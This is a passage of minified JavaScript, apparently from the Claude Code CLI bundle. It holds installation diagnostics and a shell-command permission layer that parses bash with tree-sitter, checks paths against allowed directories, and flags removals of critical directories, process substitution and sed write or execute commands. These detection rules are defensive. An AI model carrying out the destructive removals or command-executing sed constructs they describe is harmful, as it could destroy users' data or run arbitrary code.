https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION?{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION:"unknown",q=await aM2(),Y=eQA(),z=await sM2(),w=await tM2(A);if(w.push(...eM2()),A==="native"){let Z=z.filter((D)=>D.type==="npm-global"||D.type==="npm-global-orphan"||D.type==="npm-local"),W=o6()==="windows";for(let D of Z)if(D.type==="npm-global"){let j="npm -g uninstall @anthropic-ai/claude-code";if({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL&&{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL!=="@anthropic-ai/claude-code")j+=` && npm -g uninstall ${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL}`;w.push({issue:`Leftover npm global installation at ${D.path}`,fix:`Run: ${j}`})}else if(D.type==="npm-global-orphan")w.push({issue:`Orphaned npm global package at ${D.path}`,fix:W?`Run: rmdir /s /q "${D.path}"`:`Run: rm -rf ${D.path}`});else if(D.type==="npm-local")w.push({issue:`Leftover npm local installation at ${D.path}`,fix:W?`Run: rmdir /s /q "${D.path}"`:`Run: rm -rf ${D.path}`})}let J=M1().installMethod||"not set",O=null;if(A==="npm-global"){if(O=(await cI6()).hasPermissions,!O&&!PMA())w.push({issue:"Insufficient permissions for auto-updates",fix:"Do one of: (1) Re-install node without sudo, or (2) Use `claude install` for native installation"})}let X=Tz8(),$={working:X.working??!0,mode:X.mode,systemPath:X.mode==="system"?X.path:null},_=A==="package-manager"?await MMA():void 0;return{installationType:A,version:K,installationPath:q,invokedBinary:Y,configInstallMethod:J,autoUpdates:(()=>{let Z=PMA();return Z?`disabled (${Z})`:"enabled"})(),hasUpdatePermissions:O,multipleInstallations:z,warnings:w,packageManager:_,ripgrepStatus:$}}var mS=k(()=>{e6();y4();Ut();i6();yd();AV1();B5();CK();rP();wb();SH();l6();wV1();Ki()});var tI6={};_q(tI6,{parseCommand:()=>OP2,extractCommandArguments:()=>$P2,ensureInitialized:()=>eKK});import{fileURLToPath as AP2}from"url";import{dirname as sKK,join as HV1}from"path";function wP2(){let A=sKK(AP2(import.meta.url));return sKK(eQA())}function HP2(A){if(!n9()||typeof Bun>"u"||!Bun.embeddedFiles)return null;for(let K of Bun.embeddedFiles){let q=K.name;if(q&&q.endsWith(A))return K}return null}async function tKK(A){let K=HP2(A);if(!K)return null;let q=await K.arrayBuffer();return new Uint8Array(q)}async function JP2(){let A=BA();if(n9()){let H=await tKK("tree-sitter.wasm"),J=await tKK("tree-sitter-bash.wasm");if(H&&J){await nQA.init({wasmBinary:H}),VMA=new nQA,AUA=await aP1.load(J),VMA.setLanguage(AUA),h("tree-sitter: loaded from embedded"),n("tengu_tree_sitter_load",{success:!0,from_embedded:!0});return}}let q=wP2(),Y=!1,z=Y?HV1(q,"web-tree-sitter","tree-sitter.wasm"):HV1(q,"tree-sitter.wasm"),w=Y?HV1(q,"tree-sitter-bash","tree-sitter-bash.wasm"):HV1(q,"tree-sitter-bash.wasm");if(!A.existsSync(z)||!A.existsSync(w)){h("tree-sitter: WASM files not found"),n("tengu_tree_sitter_load",{success:!1});return}await nQA.init({locateFile:(H)=>H.endsWith("tree-sitter.wasm")?z:H}),VMA=new nQA,AUA=await aP1.load(A.readFileBytesSync(w)),VMA.setLanguage(AUA),h("tree-sitter: loaded from disk"),n("tengu_tree_sitter_load",{success:!0,from_embedded:!1})}async function eKK(){if(!sI6)sI6=JP2();await sI6}async function OP2(A){if(await eKK(),!A||A.length>KP2||!VMA||!AUA)return null;try{let K=VMA.parse(A),q=K?.rootNode;if(!q)return null;let Y=AqK(q),z=XP2(Y);return{tree:K,rootNode:q,envVars:z,commandNode:Y,originalCommand:A}}catch{return null}}function AqK(A){let{type:K,children:q,parent:Y}=A;if(aI6.has(K))return A;if(K==="variable_assignment"&&Y)return Y.children.find((z)=>z&&aI6.has(z.type)&&z.startIndex>A.startIndex)??null;if(K==="pipeline"||K==="redirected_statement")return q.find((z)=>z&&aI6.has(z.type))??null;for(let z of q){let w=z&&AqK(z);if(w)return w}return null}function XP2(A){if(!A||A.type!=="command")return[];let K=[];for(let q of A.children){if(!q)continue;if(q.type==="variable_assignment")K.push(q.text);else if(q.type==="command_name"||q.type==="word")break}return K}function $P2(A){if(A.type==="declaration_command"){let Y=A.children[0];return Y&&qP2.has(Y.text)?[Y.text]:[]}let K=[],q=!1;for(let Y of A.children){if(!Y||Y.type==="variable_assignment")continue;if(Y.type==="command_name"||!q&&Y.type==="word"){q=!0,K.push(Y.text);continue}if(YP2.has(Y.type))K.push(_P2(Y.text));else if(zP2.has(Y.type))break}return K}function _P2(A){return A.length>=2&&(A[0]==='"'&&A.at(-1)==='"'||A[0]==="'"&&A.at(-1)==="'")?A.slice(1,-1):A}var KP2=1e4,qP2,YP2,zP2,aI6,VMA=null,AUA=null,sI6=null;var eI6=k(()=>{UKK();e6();mS();l1();Z1();qP2=new Set(["export","declare","typeset","readonly","local","unset","unsetenv"]),YP2=new Set(["word","string","raw_string","number"]),zP2=new Set(["command_substitution","process_substitution"]),aI6=new Set(["command","declaration_command"])});class KqK{originalCommand;constructor(A){this.originalCommand=A}toString(){return this.originalCommand}getPipeSegments(){try{let A=KUA(this.originalCommand),K=[],q=[];for(let Y of A)if(Y==="|"){if(q.length>0)K.push(q.join(" ")),q=[]}else q.push(Y);if(q.length>0)K.push(q.join(" "));return K.length>0?K:[this.originalCommand]}catch{return[this.originalCommand]}}withoutOutputRedirections(){if(!this.originalCommand.includes(">"))return this.originalCommand;let{commandWithoutRedirections:A,redirections:K}=gS(this.originalCommand);return K.length>0?A:this.originalCommand}getOutputRedirections(){let{redirections:A}=gS(this.originalCommand);return A}}function AS6(A,K){let q=A;K(q);for(let Y of q.children)if(Y)AS6(Y,K)}function GP2(A){let K=[];return AS6(A,(q)=>{if(q.type==="pipeline"){for(let Y of q.children)if(Y&&Y.type==="|")K.push(Y.startIndex)}}),K}function ZP2(A){let K=[];return AS6(A,(q)=>{if(q.type==="file_redirect"){let Y=q.children,z=Y.find((H)=>H&&(H.type===">"||H.type===">>")),w=Y.find((H)=>H&&H.type==="word");if(z&&w)K.push({startIndex:q.startIndex,endIndex:q.endIndex,target:w.text,operator:z.type})}}),K}class qqK{originalCommand;pipePositions;redirectionNodes;constructor(A,K,q){this.originalCommand=A,this.pipePositions=K,this.redirectionNodes=q}toString(){return this.originalCommand}getPipeSegments(){if(this.pipePositions.length===0)return[this.originalCommand];let A=[],K=0;for(let Y of this.pipePositions){let z=this.originalCommand.slice(K,Y).trim();if(z)A.push(z);K=Y+1}let q=this.originalCommand.slice(K).trim();if(q)A.push(q);return A}withoutOutputRedirections(){if(this.redirectionNodes.length===0)return this.originalCommand;let A=[...this.redirectionNodes].sort((q,Y)=>Y.startIndex-q.startIndex),K=this.originalCommand;for(let q of A)K=K.slice(0,q.startIndex)+K.slice(q.endIndex);return K.trim().replace(/\s+/g," ")}getOutputRedirections(){return this.redirectionNodes.map(({target:A,operator:K})=>({target:A,operator:K}))}}var WP2,JV1;var YqK=k(()=>{p7();_P();WP2=z6(async()=>{try{let{parseCommand:A}=await Promise.resolve().then(() => (eI6(),tI6)),K=await A("echo test");if(!K)return!1;return K.tree.delete(),!0}catch{return!1}}),JV1={async parse(A){if(!A)return null;if(await WP2())try{let{parseCommand:q}=await Promise.resolve().then(() => (eI6(),tI6)),Y=await q(A);if(Y){let z=GP2(Y.rootNode),w=ZP2(Y.rootNode);return Y.tree.delete(),new qqK(A,z,w)}}catch{}return new KqK(A)}}});async function DP2(A,K,q){if(K.filter((X)=>{let $=X.trim();return qUA.test($)}).length>1){let X={type:"other",reason:"Multiple directory changes in one command require approval for clarity"};return{behavior:"ask",decisionReason:X,message:j0(o7.name,X)}}let z=new Map;for(let X of K){let $=X.trim();if(!$)continue;let _=await q({...A,command:$});z.set($,_)}let w=Array.from(z.entries()).find(([,X])=>X.behavior==="deny");if(w){let[X,$]=w;return{behavior:"deny",message:$.behavior==="deny"?$.message:`Permission denied for: ${X}`,decisionReason:{type:"subcommandResults",reasons:z}}}if(Array.from(z.values()).every((X)=>X.behavior==="allow"))return{behavior:"allow",updatedInput:A,decisionReason:{type:"subcommandResults",reasons:z}};let J=[];for(let[,X]of z)if(X.behavior!=="allow"&&"suggestions"in X&&X.suggestions)J.push(...X.suggestions);let O={type:"subcommandResults",reasons:z};return{behavior:"ask",message:j0(o7.name,O),decisionReason:O,suggestions:J.length>0?J:void 0}}async function jP2(A){if(!A.includes(">"))return A;return(await JV1.parse(A))?.withoutOutputRedirections()??A}async function zqK(A,K){if(HqK(A.command)){let w=wm(A.command),H={type:"other",reason:w.behavior==="ask"&&w.message?w.message:"This command uses shell operators that require approval for safety"};return{behavior:"ask",message:j0(o7.name,H),decisionReason:H}}let q=await JV1.parse(A.command);if(!q)return{behavior:"passthrough",message:"Failed to parse command"};let Y=q.getPipeSegments();if(Y.length<=1)return{behavior:"passthrough",message:"No pipes found in command"};let z=await Promise.all(Y.map((w)=>jP2(w)));return DP2(A,z,K)}var wqK=k(()=>{xG();_P();S2();nP1();YqK()});import{isAbsolute as OV1,resolve as XV1,dirname as MP2}from"path";import{homedir as YS6}from"os";function XqK(A){let K=A.length;if(K<=KS6)return A.map((Y)=>`'${Y}'`).join(", ");return`${A.slice(0,KS6).map((Y)=>`'${Y}'`).join(", ")}, and ${K-KS6} more`}function PP2(A){let K=A.match(OqK);if(!K||K.index===void 0)return A;let q=A.substring(0,K.index),Y=q.lastIndexOf("/");if(Y===-1)return".";return q.substring(0,Y)||"/"}function qS6(A,K,q){let Y=q==="read"?"read":"edit",z=gG(A,K,Y,"deny");if(z!==null)return{allowed:!1,decisionReason:{type:"rule",rule:z}};if(q!=="read"){let H=HS6(A);if(!H.safe)return{allowed:!1,decisionReason:{type:"other",reason:H.message}}}if(FS(A,K)){if(q==="read"||K.mode==="acceptEdits")return{allowed:!0}}if(q==="read"){let H=OS6(A,{});if(H.behavior==="allow")return{allowed:!0,decisionReason:H.decisionReason}}if(q!=="read"){let H=JS6(A,{});if(H.behavior==="allow")return{allowed:!0,decisionReason:H.decisionReason}}let w=gG(A,K,Y,"allow");if(w!==null)return{allowed:!0,decisionReason:{type:"rule",rule:w}};return{allowed:!1}}function VP2(A,K,q,Y){if(uwA(A)){let O=OV1(A)?A:XV1(K,A),{resolvedPath:X}=sJ(BA(),O),$=qS6(X,q,Y);return{allowed:$.allowed,resolvedPath:X,decisionReason:$.decisionReason}}let z=PP2(A),w=OV1(z)?z:XV1(K,z),{resolvedPath:H}=sJ(BA(),w),J=qS6(H,q,Y);return{allowed:J.allowed,resolvedPath:H,decisionReason:J.decisionReason}}function $qK(A){if(A==="~"||A.startsWith("~/"))return YS6()+A.slice(1);return A}function fP2(A){if(A==="*"||A.endsWith("/*"))return!0;let K=A==="/"?A:A.replace(/\/$/,"");if(K==="/")return!0;let q=YS6();if(K===q)return!0;if(MP2(K)==="/")return!0;return!1}function _qK(A,K,q,Y){let z=$qK(A.replace(/^['"]|['"]$/g,""));if(z.includes("$")||z.includes("%"))return{allowed:!1,resolvedPath:z,decisionReason:{type:"other",reason:"Shell expansion syntax in paths requires manual approval"}};if(OqK.test(z)){if(Y==="write"||Y==="create")return{allowed:!1,resolvedPath:z,decisionReason:{type:"other",reason:"Glob patterns are not allowed in write operations. Please specify an exact file path."}};return VP2(z,K,q,Y)}let w=OV1(z)?z:XV1(K,z),{resolvedPath:H}=sJ(BA(),w),J=qS6(H,q,Y);return{allowed:J.allowed,resolvedPath:H,decisionReason:J.decisionReason}}function NP2(A,K,q){let Y=zS6[A],z=Y(K);for(let w of z){let H=$qK(w.replace(/^['"]|['"]$/g,"")),J=OV1(H)?H:XV1(q,H);if(fP2(J))return{behavior:"ask",message:`Dangerous ${A} operation detected: '${J}' This command would remove a critical system directory. This requires explicit approval and cannot be auto-allowed by permission rules.`,decisionReason:{type:"other",reason:`Dangerous ${A} operation on critical path: ${J}`},suggestions:[]}}return{behavior:"passthrough",message:`No dangerous removals detected for ${A} command`}}function JqK(A,K,q=[]){let Y=[],z=!1;for(let w=0;w<A.length;w++){let H=A[w];if(H===void 0||H===null)continue;if(H.startsWith("-")){let J=H.split("=")[0];if(J&&["-e","--regexp","-f","--file"].includes(J))z=!0;if(J&&K.has(J)&&!H.includes("="))w++;continue}if(!z){z=!0;continue}Y.push(H)}return Y.length>0?Y:q}function kP2(A,K,q,Y,z){let w=zS6[A],H=w(K),J=GqK[A],O=EP2[A];if(O&&!O(K))return{behavior:"ask",message:`${A} with flags requires manual approval to ensure path safety. For security, Claude Code cannot automatically validate ${A} commands that use flags, as some flags like --target-directory=PATH can bypass path validation.`,decisionReason:{type:"other",reason:`${A} command with flags requires manual approval`}};if(z&&J!=="read")return{behavior:"ask",message:"Commands that change directories and perform write operations require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.",decisionReason:{type:"other",reason:"Compound command contains cd with write operation - manual approval required to prevent path resolution bypass"}};for(let X of H){let{allowed:$,resolvedPath:_,decisionReason:G}=_qK(X,q,Y,J);if(!$){let Z=Array.from(fMA(Y)),W=XqK(Z),D=G?.type==="other"?G.reason:`${A} in '${_}' was blocked. For security, Claude Code may only ${vP2[A]} the allowed working directories for this session: ${W}.`;if(G?.type==="rule")return{behavior:"deny",message:D,decisionReason:G};return{behavior:"ask",message:D,blockedPath:_,decisionReason:G}}}return{behavior:"passthrough",message:`Path validation passed for ${A} command`}}function CP2(A){return(K,q,Y,z)=>{let w=kP2(A,K,q,Y,z);if(w.behavior==="deny")return w;if(A==="rm"||A==="rmdir"){let H=NP2(A,K,q);if(H.behavior!=="passthrough")return H}if(w.behavior==="passthrough")return w;if(w.behavior==="ask"){let H=GqK[A],J=[];if(w.blockedPath)if(H==="read"){let O=pg(w.blockedPath),X=XA1(O,"session");if(X)J.push(X)}else J.push({type:"addDirectories",directories:[pg(w.blockedPath)],destination:"session"});if(H==="write"||H==="create")J.push({type:"setMode",mode:"acceptEdits",destination:"session"});w.suggestions=J}return w}}function LP2(A){let K=Bz(A,(z)=>`$${z}`);if(!K.success)return[];let q=K.tokens,Y=[];for(let z of q)if(typeof z==="string")Y.push(z);else if(typeof z==="object"&&z!==null&&"op"in z&&z.op==="glob"&&"pattern"in z)Y.push(String(z.pattern));return Y}function RP2(A,K,q,Y){let z=wS6(A),w=LP2(z);if(w.length===0)return{behavior:"passthrough",message:"Empty command - no paths to validate"};let[H,...J]=w;if(!H||!TP2.includes(H))return{behavior:"passthrough",message:`Command '${H}' is not a path-restricted command`};return CP2(H)(J,K,q,Y)}function yP2(A,K,q,Y){if(Y&&A.length>0)return{behavior:"ask",message:"Commands that change directories and write via output redirection require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.",decisionReason:{type:"other",reason:"Compound command contains cd with output redirection - manual approval required to prevent path resolution bypass"}};for(let{target:z}of A){if(z==="/dev/null")continue;let{allowed:w,resolvedPath:H,decisionReason:J}=_qK(z,K,q,"create");if(!w){let O=Array.from(fMA(q)),X=XqK(O),$=J?.type==="other"?J.reason:J?.type==="rule"?`Output redirection to '${H}' was blocked by a deny rule.`:`Output redirection to '${H}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${X}.`;if(J?.type==="rule")return{behavior:"deny",message:$,decisionReason:J};return{behavior:"ask",message:$,blockedPath:H,suggestions:[{type:"addDirectories",directories:[pg(H)],destination:"session"}]}}}return{behavior:"passthrough",message:"No unsafe redirections found"}}function $V1(A,K,q,Y){if(/>>\s*>\s*\(|>\s*>\s*\(|<\s*\(/.test(A.command))return{behavior:"ask",message:"Process substitution (>(...) or <(...)) can execute arbitrary commands and requires manual approval",decisionReason:{type:"other",reason:"Process substitution requires manual approval"}};let{redirections:z,hasDangerousRedirection:w}=gS(A.command);if(w)return{behavior:"ask",message:"Shell expansion syntax in paths requires manual approval",decisionReason:{type:"other",reason:"Shell expansion syntax in paths requires manual approval"}};let H=yP2(z,K,q,Y);if(H.behavior!=="passthrough")return H;let J=R$(A.command);for(let O of J){let X=RP2(O,K,q,Y);if(X.behavior==="ask"||X.behavior==="deny")return X}return{behavior:"passthrough",message:"All path commands validated successfully"}}var KS6=5,OqK,Lz=(A)=>A.filter((K)=>!K?.startsWith("-")),zS6,TP2,vP2,GqK,EP2;var ZqK=k(()=>{e6();Xz();LH();Oz();_P();gO();n3A();OqK=/[*?[\]{}]/;zS6={cd:(A)=>A.length===0?[YS6()]:[A.join(" ")],ls:(A)=>{let K=Lz(A);return K.length>0?K:["."]},find:(A)=>{let K=[],q=new Set(["-newer","-anewer","-cnewer","-mnewer","-samefile","-path","-wholename","-ilname","-lname","-ipath","-iwholename"]),Y=/^-newer[acmBt][acmtB]$/,z=!1;for(let w=0;w<A.length;w++){let H=A[w];if(!H)continue;if(H.startsWith("-")){if(["-H","-L","-P"].includes(H))continue;if(z=!0,q.has(H)||Y.test(H)){let J=A[w+1];if(J)K.push(J),w++}continue}if(!z)K.push(H)}return K.length>0?K:["."]},mkdir:Lz,touch:Lz,rm:Lz,rmdir:Lz,mv:Lz,cp:Lz,cat:Lz,head:Lz,tail:Lz,sort:Lz,uniq:Lz,wc:Lz,cut:Lz,paste:Lz,column:Lz,file:Lz,stat:Lz,diff:Lz,awk:Lz,strings:Lz,hexdump:Lz,od:Lz,base64:Lz,nl:Lz,sha256sum:Lz,sha1sum:Lz,md5sum:Lz,tr:(A)=>{let K=A.some((Y)=>Y==="-d"||Y==="--delete"||Y.startsWith("-")&&Y.includes("d"));return Lz(A).slice(K?1:2)},grep:(A)=>{let q=JqK(A,new Set(["-e","--regexp","-f","--file","--exclude","--include","--exclude-dir","--include-dir","-m","--max-count","-A","--after-context","-B","--before-context","-C","--context"]));if(q.length===0&&A.some((Y)=>["-r","-R","--recursive"].includes(Y)))return["."];return q},rg:(A)=>{return JqK(A,new Set(["-e","--regexp","-f","--file","-t","--type","-T","--type-not","-g","--glob","-m","--max-count","--max-depth","-r","--replace","-A","--after-context","-B","--before-context","-C","--context"]),["."])},sed:(A)=>{let K=[],q=!1,Y=!1;for(let z=0;z<A.length;z++){if(q){q=!1;continue}let w=A[z];if(!w)continue;if(w.startsWith("-")){if(["-f","--file"].includes(w)){let H=A[z+1];if(H)K.push(H),q=!0;Y=!0}else if(["-e","--expression"].includes(w))q=!0,Y=!0;else if(w.includes("e")||w.includes("f"))Y=!0;continue}if(!Y){Y=!0;continue}K.push(w)}return K},jq:(A)=>{let K=[],q=new Set(["-e","--expression","-f","--from-file","--arg","--argjson","--slurpfile","--rawfile","--args","--jsonargs","-L","--library-path","--indent","--tab"]),Y=!1;for(let z=0;z<A.length;z++){let w=A[z];if(w===void 0||w===null)continue;if(w.startsWith("-")){let H=w.split("=")[0];if(H&&["-e","--expression"].includes(H))Y=!0;if(H&&q.has(H)&&!w.includes("="))z++;continue}if(!Y){Y=!0;continue}K.push(w)}return K},git:(A)=>{if(A.length>=1&&A[0]==="diff"){if(A.includes("--no-index"))return A.slice(1).filter((Y)=>!Y?.startsWith("-")).slice(0,2)}return[]}},TP2=Object.keys(zS6),vP2={cd:"change directories to",ls:"list files in",find:"search files in",mkdir:"create directories in",touch:"create or modify files in",rm:"remove files from",rmdir:"remove directories from",mv:"move files to/from",cp:"copy files to/from",cat:"concatenate files from",head:"read the beginning of files from",tail:"read the end of files from",sort:"sort contents of files from",uniq:"filter duplicate lines from files in",wc:"count lines/words/bytes in files from",cut:"extract columns from files in",paste:"merge files from",column:"format files from",tr:"transform text from files in",file:"examine file types in",stat:"read file stats from",diff:"compare files from",awk:"process text from files in",strings:"extract strings from files in",hexdump:"display hex dump of files from",od:"display octal dump of files from",base64:"encode/decode files from",nl:"number lines in files from",grep:"search for patterns in files from",rg:"search for patterns in files from",sed:"edit files in",git:"access files with git from",jq:"process JSON from files in",sha256sum:"compute SHA-256 checksums for files in",sha1sum:"compute SHA-1 checksums for files in",md5sum:"compute MD5 checksums for files in"},GqK={cd:"read",ls:"read",find:"read",mkdir:"create",touch:"create",rm:"write",rmdir:"write",mv:"write",cp:"write",cat:"read",head:"read",tail:"read",sort:"read",uniq:"read",wc:"read",cut:"read",paste:"read",column:"read",tr:"read",file:"read",stat:"read",diff:"read",awk:"read",strings:"read",hexdump:"read",od:"read",base64:"read",nl:"read",grep:"read",rg:"read",sed:"write",git:"read",jq:"read",sha256sum:"read",sha1sum:"read",md5sum:"read"},EP2={mv:(A)=>!A.some((K)=>K?.startsWith("-")),cp:(A)=>!A.some((K)=>K?.startsWith("-"))}});function SP2(A){return IP2.includes(A)}function hP2(A,K){let q=A.trim(),[Y]=q.split(/\s+/);if(!Y)return{behavior:"passthrough",message:"Base command not found"};if(K.mode==="acceptEdits"&&SP2(Y))return{behavior:"allow",updatedInput:{command:A},decisionReason:{type:"mode",mode:"acceptEdits"}};return{behavior:"passthrough",message:`No mode-specific handling for '${Y}' in ${K.mode} mode`}}function WqK(A,K){if(K.mode==="bypassPermissions")return{behavior:"passthrough",message:"Bypass mode is handled in main permission flow"};if(K.mode==="dontAsk")return{behavior:"passthrough",message:"DontAsk mode is handled in main permission flow"};let q=R$(A.command);for(let Y of q){let z=hP2(Y,K);if(z.behavior!=="passthrough")return z}return{behavior:"passthrough",message:"No mode-specific validation required"}}var IP2;var DqK=k(()=>{_P();IP2=["mkdir","touch","rm","rmdir","mv","cp","sed"]});function MqK(A,K){for(let q of A)if(q.startsWith("-")&&!q.startsWith("--")&&q.length>2)for(let Y=1;Y<q.length;Y++){let z="-"+q[Y];if(!K.includes(z))return!1}else if(!K.includes(q))return!1;return!0}function bP2(A,K){let q=A.match(/^\s*sed\s+/);if(!q)return!1;let Y=A.slice(q[0].length),z=Bz(Y);if(!z.success)return!1;let w=z.tokens,H=[];for(let X of w)if(typeof X==="string"&&X.startsWith("-")&&X!=="--")H.push(X);if(!MqK(H,["-n","--quiet","--silent","-E","--regexp-extended","-r","-z","--zero-terminated","--posix"]))return!1;let O=!1;for(let X of H){if(X==="-n"||X==="--quiet"||X==="--silent"){O=!0;break}if(X.startsWith("-")&&!X.startsWith("--")&&X.includes("n")){O=!0;break}}if(!O)return!1;if(K.length===0)return!1;for(let X of K){let $=X.split(";");for(let _ of $)if(!xP2(_.trim()))return!1}return!0}function xP2(A){if(!A)return!1;return/^(?:\d+|\d+,\d+)?p$/.test(A)}function jqK(A,K,q,Y){let z=Y?.allowFileWrites??!1;if(!z&&q)return!1;let w=A.match(/^\s*sed\s+/);if(!w)return!1;let H=A.slice(w[0].length),J=Bz(H);if(!J.success)return!1;let O=J.tokens,X=[];for(let f of O)if(typeof f==="string"&&f.startsWith("-")&&f!=="--")X.push(f);let $=["-E","--regexp-extended","-r","--posix"];if(z)$.push("-i","--in-place");if(!MqK(X,$))return!1;if(K.length!==1)return!1;let _=K[0].trim();if(!_.startsWith("s"))return!1;let G=_.match(/^s\/(.*?)$/);if(!G)return!1;let Z=G[1],W=0,D=-1,j=0;while(j<Z.length){if(Z[j]==="\\"){j+=2;continue}if(Z[j]==="/")W++,D=j;j++}if(W!==2)return!1;let M=Z.slice(D+1);if(!/^[gpimIM]*[1-9]?[gpimIM]*$/.test(M))return!1;return!0}function XS6(A,K){let q=K?.allowFileWrites??!1,Y;try{Y=BP2(A)}catch(J){return!1}let z=uP2(A),w=!1,H=!1;if(q)H=jqK(A,Y,z,{allowFileWrites:!0});else w=bP2(A,Y),H=jqK(A,Y,z);if(!w&&!H)return!1;for(let J of Y)if(H&&J.includes(";"))return!1;for(let J of Y)if(mP2(J))return!1;return!0}function uP2(A){let K=A.match(/^\s*sed\s+/);if(!K)return!1;let q=A.slice(K[0].length),Y=Bz(q);if(!Y.success)return!0;let z=Y.tokens;try{let w=0,H=!1;for(let J=0;J<z.length;J++){let O=z[J];if(typeof O!=="string"&&typeof O!=="object")continue;if(typeof O==="object"&&O!==null&&"op"in O&&O.op==="glob")return!0;if(typeof O!=="string")continue;if((O==="-e"||O==="--expression")&&J+1<z.length){H=!0,J++;continue}if(O.startsWith("--expression=")){H=!0;continue}if(O.startsWith("-e=")){H=!0;continue}if(O.startsWith("-"))continue;if(w++,H)return!0;if(w>1)return!0}return!1}catch(w){return!0}}function BP2(A){let K=[],q=A.match(/^\s*sed\s+/);if(!q)return K;let Y=A.slice(q[0].length);if(/-e[wWe]/.test(Y)||/-w[eE]/.test(Y))throw Error("Dangerous flag combination detected");let z=Bz(Y);if(!z.success)throw Error(`Malformed shell syntax: ${z.error}`);let w=z.tokens;try{let H=!1,J=!1;for(let O=0;O<w.length;O++){let X=w[O];if(typeof X!=="string")continue;if((X==="-e"||X==="--expression")&&O+1<w.length){H=!0;let $=w[O+1];if(typeof $==="string")K.push($),O++;continue}if(X.startsWith("--expression=")){H=!0,K.push(X.slice(13));continue}if(X.startsWith("-e=")){H=!0,K.push(X.slice(3));continue}if(X.startsWith("-"))continue;if(!H&&!J){K.push(X),J=!0;continue}break}}catch(H){throw Error(`Failed to parse sed command: ${H instanceof Error?H.message:"Unknown error"}`)}return K}function mP2(A){let K=A.trim();if(!K)return!1;if(/[^\x01-\x7F]/.test(K))return!0;if(K.includes("{")||K.includes("}"))return!0;if(K.includes(` `))return!0;let q=K.indexOf("#");if(q!==-1&&!(q>0&&K[q-1]==="s"))return!0;if(/^!/.test(K)||/[/\d$]!/.test(K))return!0;if(/\d\s*~\s*\d|,\s*~\s*\d|\$\s*~\s*\d/.test(K))return!0;if(/^,/.test(K))return!0;if(/,\s*[+-]/.test(K))return!0;if(/s\\/.test(K)||/\\[|#%@]/.test(K))return!0;if(/\\\/.*[wW]/.test(K))return!0;if(/\/[^/]*\s+[wWeE]/.test(K))return!0;if(/^s\//.test(K)&&!/^s\/[^/]*\/[^/]*\/[^/]*$/.test(K))return!0;if(/^s./.test(K)&&/[wWeE]$/.test(K)){if(!/^s([^\\\n]).*?\1.*?\1[^wWeE]*$/.test(K))return!0}if(/^[wW]\s*\S+/.test(K)||/^\d+\s*[wW]\s*\S+/.test(K)||/^\$\s*[wW]\s*\S+/.test(K)||/^\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(K)||/^\d+,\d+\s*[wW]\s*\S+/.test(K)||/^\d+,\$\s*[wW]\s*\S+/.test(K)||/^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(K))return!0;if(/^e/.test(K)||/^\d+\s*e/.test(K)||/^\$\s*e/.test(K)||/^\/[^/]*\/[IMim]*\s*e/.test(K)||/^\d+,\d+\s*e/.test(K)||/^\d+,\$\s*e/.test(K)||/^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*e/.test(K))return!0;let Y=K.match(/s([^\\\n]).*?\1.*?\1(.*?)$/);if(Y){let w=Y[2]||"";if(w.includes("w")||w.includes("W"))return!0;if(w.includes("e")||w.includes("E"))return!0}if(K.match(/y([^\\\n])/)){if(/[wWeE]/.test(K))return!0}return!1}function PqK(A,K){let q=R$(A.command);for(let Y of q){let z=Y.trim();if(z.split(/\s+/)[0]!=="sed")continue;let H=K.mode==="acceptEdits";if(!XS6(z,{allowFileWrites:H}))return{behavior:"ask",message:"sed command requires approval (contains potentially dangerous operations)",decisionReason:{type:"other",reason:"sed command contains operations that require explicit approval (e.g., write commands, execute commands)"}}}return{behavior:"passthrough",message:"No dangerous sed operations detected"}}var $S6=k(()=>{_P();gO()});function fqK(A){return`prompt: ${A.trim()}`}function $m(){return!1}function _S6(A){return[]}function NqK(A){return[]}function NMA(A){return[]}async function TMA(A,K,q,Y,z,w){return{matches:!1,confidence:"high",reason:"This feature is disabled"}}async function TqK(A,K,q){return K||null}var VqK="prompt:";function _V1(A,K,q,Y){return}function GV1(A){return[{type:"addRules",rules:[{toolName:o7.name,ruleContent:A}],behavior:"allow",destination:"localSettings"}]}function CqK(A){return[{type:"addRules",rules:[{toolName:o7.name,ruleContent:`${A}:*`}],behavior:"allow",destination:"localSettings"}]}function vqK(A){return/^[a-zA-Z0-9_-]{1,64}$/.test(A)}function EqK(A){return[{type:"addRules",rules:[{toolName:A,ruleContent:void 0}],behavior:"allow",destination:"localSettings"}]}function gP2(A,K){let q=r3A(A);if(!q)return null;try{if(R$(A).length>1)return null}catch{return null}let{server:Y,toolName:z}=q;if(!vqK(Y)||!vqK(z))return{behavior:"deny",message:"Invalid MCP server or tool name. Names must contain only letters, 